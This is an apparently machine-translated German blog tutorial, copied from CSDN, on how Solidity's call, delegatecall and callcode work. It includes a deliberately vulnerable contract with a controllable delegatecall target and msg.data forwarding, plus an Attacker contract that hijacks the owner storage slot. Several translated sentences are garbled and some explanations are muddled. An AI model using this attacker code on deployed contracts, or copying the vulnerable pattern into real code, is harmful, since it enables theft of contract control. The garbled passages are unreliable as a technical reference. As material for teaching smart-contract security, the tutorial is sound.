Prinzip der Solidity Code Execution Vulnerability

Inhaltsverzeichnis

1. Drei Aufrufmethoden

2. Zwei Aufrufparametertypen

3. Schwachstellenszenarien

3.1 DelegierterAufruf

3.2 Anruf


1. Drei Aufrufmethoden

Es gibt drei Möglichkeiten für einen Vertrag, Funktionen anderer Verträge in Solidity aufzurufen:

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

1)call()

call ist die am häufigsten verwendete Aufrufmethode. Der externe Aufrufkontext von call istder aufgerufene Vertrag, was bedeutet, dass die Ausführungsumgebung vorhanden ist Nach dem Aufruf wird der Wert der integrierten Variablen msg an die laufende Umgebung des Aufrufers angepasst.

2)delegatecall()

Der externe Aufrufkontext von delegatecall istder Aufrufervertrag, was bedeutet, dass die Ausführungsumgebung die Laufumgebung des Aufrufers ist. Nach dem Anruf, die integrierte Variable msg Der Wert von wird für den Aufrufer nicht geändert.

3)callcode()

Der externe Aufrufkontext von Callcode istder Aufrufervertrag, was bedeutet, dass die Ausführungsumgebung die Laufumgebung des Aufrufers ist und die eingebaute in Variable msg ist nach dem Aufruf Der Wert wird an den Aufrufer geändert

2. Zwei Aufrufparametertypen

Es gibt zwei Arten von Parametern, die an die Aufruffunktion übergeben werden:

1) Funktionssignatur

Funktionssignatur = Funktionsname + (Parametertypliste), uint und int sollten als uint256 und int256 geschrieben werden

func(uint arg1, int arg2)  ==>  func(uint256,int256)

 Aufrufmethode:

<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);

msg.data

msg.data  ist eine globale Variable in Solidität. Der Wert sind die vollständigen Aufrufdaten (die beim Aufruf der Funktion übergebenen Daten). Die ersten 4 Bytes sind der Funktionsselektor. Jeder Wert der folgenden Parameter wird in eine hexadezimale Zeichenfolge fester Länge von 32 Byte umgewandelt. Wenn mehrere Parameter vorhanden sind, werden sie miteinander verkettet.

Wie in der Abbildung gezeigt, ist der Parameterwert von three_call derselbe wie der Wert von msg.data

2) Funktionswähler

Funktionsselektor: die ersten 4 Bytes des Keccak-Hashs der Funktionssignatur, gefolgt von den Parametern

<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))

3. Schwachstellenszenarien

Vorkenntnisse: EVM-Speicher

In einem einzelnen VertragZustandsvariablen werden im Speicher gespeichert und in der Reihenfolge der Deklaration im Kartensteckplatz gespeichert

contract A{
    address owner;
    B addrB;
}

3.1 DelegierterAufruf

Änderungen an Delegatecall

Wenn sowohl Vertrag A als auch Vertrag C Statusvariablen haben und die von Delegatecall aufgerufene Funktion den Wert der ersten Statusvariablen von Vertrag C ändert, wird tatsächlich der Wert der ersten Statusvariablen in Vertrag A geändert, also Slot 0 des Vertrags A. Der Eigentümer der Zustandsvariablen in

Schwachstellenszenario:

  • Die Delegatecall-Adresse ist steuerbar und die Vertragsstatusvariablen des Anrufers können geändert werden.
  • Die Delegatecall-Parameter sind steuerbar und können sensible Funktionen des aufgerufenen Vertrags ausführen. Beispielsweise wird msg.data als Delegatecall-Parameter verwendet.
pragma solidity ^0.4.23;
// 合约 A
contract A{
    address owner;
    B addrB;
    
    constructor() {
       owner = msg.sender; 
    }
    
    function changeOwner(address _newOwner) public {
       require(msg.sender == owner); 
       owner = _newOwner;    
    }
    
    function setB(B addr) public {
        addrB = addr;
    }
    
    // vuln1:delegatecall 地址可控
    function vuln1(address _contract) public {
        _contract.delegatecall(abi.encodeWithSignature("func()"));
    }
    
    // vuln2:delegatecall 参数可控
    function() public{
        addrB.delegatecall(msg.data);
    }
}

// 合约 B
contract B {
    address public owner;

    function init() public  {
        owner = msg.sender;
    }
}

Angriffsvertrag

pragma solidity ^0.4.23;
import "./A.sol";

contract Attacker{
    address public owner;

    // 攻击 vuln1
    function func() public {
       // 修改合约 A 状态变量 owner
       owner = msg.sender;    
    }

    function attack_vuln2(address addrA) public {
       // 调用合约 A 中不存在的函数 init,进而执行 fallback 函数,
       // 而此时 msg.data 的前4个字节就是 init 函数选择器,
       // 进而执行了合约 B 的 init 函数
       // A(addrA).init();    
       addrA.call(abi.encodeWithSignature("init()"));
    }
}

3.2 Anruf

Wenn Call zum Aufrufen einer Funktion eines anderen Vertrags verwendet wird, ist die Ausführungsumgebung die Ausführungsumgebung des aufgerufenen Vertrags, und die Statusvariablen des aufgerufenen Vertrags werden ebenfalls geändert. Das Instanziieren anderer Verträge innerhalb eines Vertrags entspricht einem Anruf.

Das Schwachstellenszenario von Call ähnelt dem von Delegatecall:

  • Die Anrufadresse ist steuerbar: Führen Sie die gleichnamige Funktion eines beliebigen Adressvertrags aus
  • Der Aufrufparameter ist steuerbar: Führen Sie an dieser Adresse eine beliebige Funktion des Vertrags aus
    • Die Signatur der aufrufenden Funktion ist steuerbar
    • Die Parameter der aufrufenden Funktion sind steuerbar

Ein Merkmal von EVM: EVM verfügt beim Abrufen von Parametern nicht über einen Prozess zur Überprüfung der Parameternummer. Es werden Werte von vorne nach hinten übernommen. Nachdem genügend Parameter abgerufen wurden, werden die überschüssigen Parameter am Ende abgeschnitten, und während des Vorgangs werden keine Fehler gemeldet Kompilierungs- und Ausführungsphasen. .

Wie folgt: Die folgenden Parameter 4 und 5 werden abgeschnitten

addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)

Supongo que te gusta

Origin blog.csdn.net/SHELLCODE_8BIT/article/details/134993896
Recomendado
Clasificación